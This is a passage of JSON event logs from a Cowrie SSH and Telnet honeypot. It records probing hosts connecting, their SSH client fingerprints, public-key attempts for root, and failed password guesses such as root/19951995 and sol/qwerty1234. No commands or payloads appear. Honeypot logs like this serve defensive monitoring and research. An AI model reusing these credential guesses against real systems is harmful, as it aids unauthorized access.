{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:5e:4e:32:25:98:82:ab:54:a5:5d:cf:50:c7:70:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcOMjV+omfsMIKxBdKBnDkjqChwC4LJCFN7Rbtopr/8Fqr5wy+nGiHYVfr0d6IRrquzisOhCMSBWoN0VgbP77+e/jdwnre6ff/J602xUcPbNbBJqqPyiy1GbNsJUtZfK09Sl7SRCB8wRrezN+sEdQu+cjzyTTVz2CGW7Tdq5XQ+/CFpwAx9ps7eDzTNNDUEaFlMaXY4rt/Hv1qNUZw2uDegHJKHsbZDrHOv+bGnbdz/2YMQ9MsWzfpTYGIV6OYzMlUUqVhDDE8OG0hsp5g03doK5cQHB9VdZ9nQtCgBiKkHIIjaiDLOmjPddBPtyzHzQDyp6sxbugBXyhWqgB9O9uR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:5e:4e:32:25:98:82:ab:54:a5:5d:cf:50:c7:70:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:38.185293Z","src_ip":"107.6.164.190","session":"324c943f576a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:5e:4e:32:25:98:82:ab:54:a5:5d:cf:50:c7:70:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcOMjV+omfsMIKxBdKBnDkjqChwC4LJCFN7Rbtopr/8Fqr5wy+nGiHYVfr0d6IRrquzisOhCMSBWoN0VgbP77+e/jdwnre6ff/J602xUcPbNbBJqqPyiy1GbNsJUtZfK09Sl7SRCB8wRrezN+sEdQu+cjzyTTVz2CGW7Tdq5XQ+/CFpwAx9ps7eDzTNNDUEaFlMaXY4rt/Hv1qNUZw2uDegHJKHsbZDrHOv+bGnbdz/2YMQ9MsWzfpTYGIV6OYzMlUUqVhDDE8OG0hsp5g03doK5cQHB9VdZ9nQtCgBiKkHIIjaiDLOmjPddBPtyzHzQDyp6sxbugBXyhWqgB9O9uR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:38.189718Z","src_ip":"107.6.164.190","session":"324c943f576a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:3c:8d:a7:31:73:e8:6b:5a:14:14:af:7e:7f:bc:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC93VPhy4JNfKYIih0UUt0RxhzMsBXzWJ+w+toyTj9nOlu9W/OyYn5Ayn3J0IUk0TP1n38weDLRy+GbJ04ee9mYktKFGOksAUZkH4ceIYEJz7JhTw5KTLWn3Ir6Jovvg1xnKQVm4cNM/2N8sMExAI5OzWj3r0rKQpe2EhRsuMXCuZL6pQ93fN6Xcz+oD/624am8HoXdoraMXnQw5IAH6+eXuiHk8OzmophVO84STWEyOFPvEsEQxHZjeZz70ti9Q3ocj2LpAYL4WU0pi6GZ+2udXOthFPVve0RuKBIPNxlLTPvFM/ErD65V91XDQKlCsa0aq4it2qfqVVAx8KzzUpeJ4CBeOLw3v0uYEMvTkusTORMmbW6AMLtrFB7Kw+c5tV1ghDPJwjKk1FBx92Gd2PEZQ2+TeQz6nRpUrO/Lvm7Ceuu+ZEOqZaNKfAoYtHcB8yDPn/JnvVmc+tBYrsOb7F6gn5OgZvdbfEsvGqZXLCGc1qky9UjQK2Eq13F55SsNSkL+VmACc4WcfZC2hxXuA2l5/ee1KWtuDcS+3X8n3bsPi/RBPflba/a2sObx/x0XmShFB0REgnbgFe1UfcH4hOBmsG4hzi+YG3fQ9EllplqXbMuFo2IEp0N96ApYSMx/sixtHl3dsXTLzwgIsE7OykLaqs44OV4UtG+dUEQBKkV4ww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:3c:8d:a7:31:73:e8:6b:5a:14:14:af:7e:7f:bc:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:38.278766Z","src_ip":"107.6.164.190","session":"324c943f576a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:3c:8d:a7:31:73:e8:6b:5a:14:14:af:7e:7f:bc:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC93VPhy4JNfKYIih0UUt0RxhzMsBXzWJ+w+toyTj9nOlu9W/OyYn5Ayn3J0IUk0TP1n38weDLRy+GbJ04ee9mYktKFGOksAUZkH4ceIYEJz7JhTw5KTLWn3Ir6Jovvg1xnKQVm4cNM/2N8sMExAI5OzWj3r0rKQpe2EhRsuMXCuZL6pQ93fN6Xcz+oD/624am8HoXdoraMXnQw5IAH6+eXuiHk8OzmophVO84STWEyOFPvEsEQxHZjeZz70ti9Q3ocj2LpAYL4WU0pi6GZ+2udXOthFPVve0RuKBIPNxlLTPvFM/ErD65V91XDQKlCsa0aq4it2qfqVVAx8KzzUpeJ4CBeOLw3v0uYEMvTkusTORMmbW6AMLtrFB7Kw+c5tV1ghDPJwjKk1FBx92Gd2PEZQ2+TeQz6nRpUrO/Lvm7Ceuu+ZEOqZaNKfAoYtHcB8yDPn/JnvVmc+tBYrsOb7F6gn5OgZvdbfEsvGqZXLCGc1qky9UjQK2Eq13F55SsNSkL+VmACc4WcfZC2hxXuA2l5/ee1KWtuDcS+3X8n3bsPi/RBPflba/a2sObx/x0XmShFB0REgnbgFe1UfcH4hOBmsG4hzi+YG3fQ9EllplqXbMuFo2IEp0N96ApYSMx/sixtHl3dsXTLzwgIsE7OykLaqs44OV4UtG+dUEQBKkV4ww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:38.281611Z","src_ip":"107.6.164.190","session":"324c943f576a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:38.369803Z","src_ip":"107.6.164.190","session":"324c943f576a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":48084,"dst_ip":"10.17.0.5","dst_port":22,"session":"fad2aee817e0","protocol":"ssh","message":"New connection: 80.66.85.226:48084 (10.17.0.5:22) [session: fad2aee817e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:41.494335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:41.498737Z","src_ip":"80.66.85.226","session":"fad2aee817e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:41.626530Z","src_ip":"80.66.85.226","session":"fad2aee817e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19951995","message":"login attempt [root/19951995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:41.904594Z","src_ip":"80.66.85.226","session":"fad2aee817e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:43.001056Z","src_ip":"80.66.85.226","session":"fad2aee817e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49432,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccea4b516fed","protocol":"telnet","message":"New connection: 152.42.224.71:49432 (10.17.0.5:23) [session: ccea4b516fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:54.979711Z"}
{"eventid":"cowrie.session.closed","duration":39.497223138809204,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:56.199548Z","src_ip":"152.42.224.71","session":"124ffa210d55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.58091735839844,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:02.486491Z","src_ip":"152.42.224.71","session":"c3e7722ed307","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40044,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e430aad2239","protocol":"ssh","message":"New connection: 193.32.162.145:40044 (10.17.0.5:22) [session: 3e430aad2239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:20.535935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:20.541634Z","src_ip":"193.32.162.145","session":"3e430aad2239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:20.648130Z","src_ip":"193.32.162.145","session":"3e430aad2239","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"qwerty1234","message":"login attempt [sol/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:20.965363Z","src_ip":"193.32.162.145","session":"3e430aad2239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:22.115663Z","src_ip":"193.32.162.145","session":"3e430aad2239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36266,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab1b55518935","protocol":"telnet","message":"New connection: 152.42.224.71:36266 (10.17.0.5:23) [session: ab1b55518935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:22.430912Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":45314,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5ef3faaec52","protocol":"ssh","message":"New connection: 194.113.233.25:45314 (10.17.0.5:22) [session: c5ef3faaec52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:22.615760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:22.621266Z","src_ip":"194.113.233.25","session":"c5ef3faaec52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:22.715455Z","src_ip":"194.113.233.25","session":"c5ef3faaec52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"drowssap","message":"login attempt [root/drowssap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:22.996042Z","src_ip":"194.113.233.25","session":"c5ef3faaec52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:24.092088Z","src_ip":"194.113.233.25","session":"c5ef3faaec52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":49006,"dst_ip":"10.17.0.5","dst_port":22,"session":"24b8a21b046e","protocol":"ssh","message":"New connection: 79.127.181.44:49006 (10.17.0.5:22) [session: 24b8a21b046e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:34.999353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:35.209420Z","src_ip":"79.127.181.44","session":"24b8a21b046e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:35.410450Z","src_ip":"79.127.181.44","session":"24b8a21b046e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:35.419793Z","src_ip":"79.127.181.44","session":"24b8a21b046e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":101.25916838645935,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:51.494245Z","src_ip":"152.42.224.71","session":"d81d5168b515","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00192666053772,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:53.713654Z","src_ip":"152.42.224.71","session":"ceed9bb0c907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.897066831588745,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:10:54.876635Z","src_ip":"152.42.224.71","session":"ccea4b516fed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.224","src_port":49652,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4dd796942c0","protocol":"ssh","message":"New connection: 148.153.121.224:49652 (10.17.0.5:22) [session: f4dd796942c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:16.545590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:16.550719Z","src_ip":"148.153.121.224","session":"f4dd796942c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:16.595811Z","src_ip":"148.153.121.224","session":"f4dd796942c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:26:bc:d6:31:05:2a:73:c6:4a:c9:66:fb:43:69:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhXvQPg7/BC2s2++MlLLJgmt0MJLplR32FLVTJt1FahxO8mEauxtCUC7FX7ODC0V2YxfbVk4H4g3ZFZ8wSIdwVncSe2TZ9XJDUFBAXECv5lEZjscNBKjo+h8rEBC+HG5xlGAbZ2U4blpaylEiKfHHHWj2RPa558f+u7yaw0C4LmLPPr9HOy8BLghexBhAREM1cyAH5fgOaxF2l6F5BcGeXImgad1yOkYFZZVhSTvLg1azjwSF2XSMwOqLgLakxXaAh4bk01xaC++m6R4o0VC1kYaEB26NHJFmoYBnPinD5EoZM6oSXaU3GPR5DKtEhyqSnR3rnXSQxi8tKoAZPXfZH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:26:bc:d6:31:05:2a:73:c6:4a:c9:66:fb:43:69:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:16.798329Z","src_ip":"148.153.121.224","session":"f4dd796942c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:26:bc:d6:31:05:2a:73:c6:4a:c9:66:fb:43:69:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhXvQPg7/BC2s2++MlLLJgmt0MJLplR32FLVTJt1FahxO8mEauxtCUC7FX7ODC0V2YxfbVk4H4g3ZFZ8wSIdwVncSe2TZ9XJDUFBAXECv5lEZjscNBKjo+h8rEBC+HG5xlGAbZ2U4blpaylEiKfHHHWj2RPa558f+u7yaw0C4LmLPPr9HOy8BLghexBhAREM1cyAH5fgOaxF2l6F5BcGeXImgad1yOkYFZZVhSTvLg1azjwSF2XSMwOqLgLakxXaAh4bk01xaC++m6R4o0VC1kYaEB26NHJFmoYBnPinD5EoZM6oSXaU3GPR5DKtEhyqSnR3rnXSQxi8tKoAZPXfZH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:16.803113Z","src_ip":"148.153.121.224","session":"f4dd796942c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:2a:6d:30:4c:b7:cc:29:1f:1a:6c:6a:ea:af:22:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtuLkw+is/7U/+ADgbBsVkz2qFcgZE2NJdktvt7Y2GiHjqLhNbg8szBooYIjIepyWkiIM9IHs7FlY9tlyO8ShHE1fJys6xaE23Qt7j6I+5S0e293KsyZ0NlvXzvDHsDjpzBzni/MvTLoa1ogwYSWL5YT7YzgW9XrYUiOKUm7n/kc4SGLgpp4exG3FJnvlSXScdPT9SSVQoCH//kp/YL+VNy2lfGGyL2po/50AcCQDzr1RBmlxnTzNQ2vjexAfUl1iSKM/9f3FNZzYdqGCIx9VqRrpECjEWKVMg5Z31kWzD5TJ5MHeqzPyZn1Nw0mIMDqtVhosglrtRc+juNzgyuX2dvGvy+AyWaPmjeI0IxtfyWOlBZW0kNENUv6v1ey4SQ2PS1B9bIEhyKUgcZ1ZQZSboWr1HrARbABTBR0DfHHgFcmQMFS3Wdz5uHZ4RyCKVNxkzDknhqNjgAV5H4AO41xx8g1Zm7zktYh0zNWQkMGroZl+XyEkHyFk8WXMnDSZ1C8c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:2a:6d:30:4c:b7:cc:29:1f:1a:6c:6a:ea:af:22:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:16.849656Z","src_ip":"148.153.121.224","session":"f4dd796942c0","protocol":"ssh"}
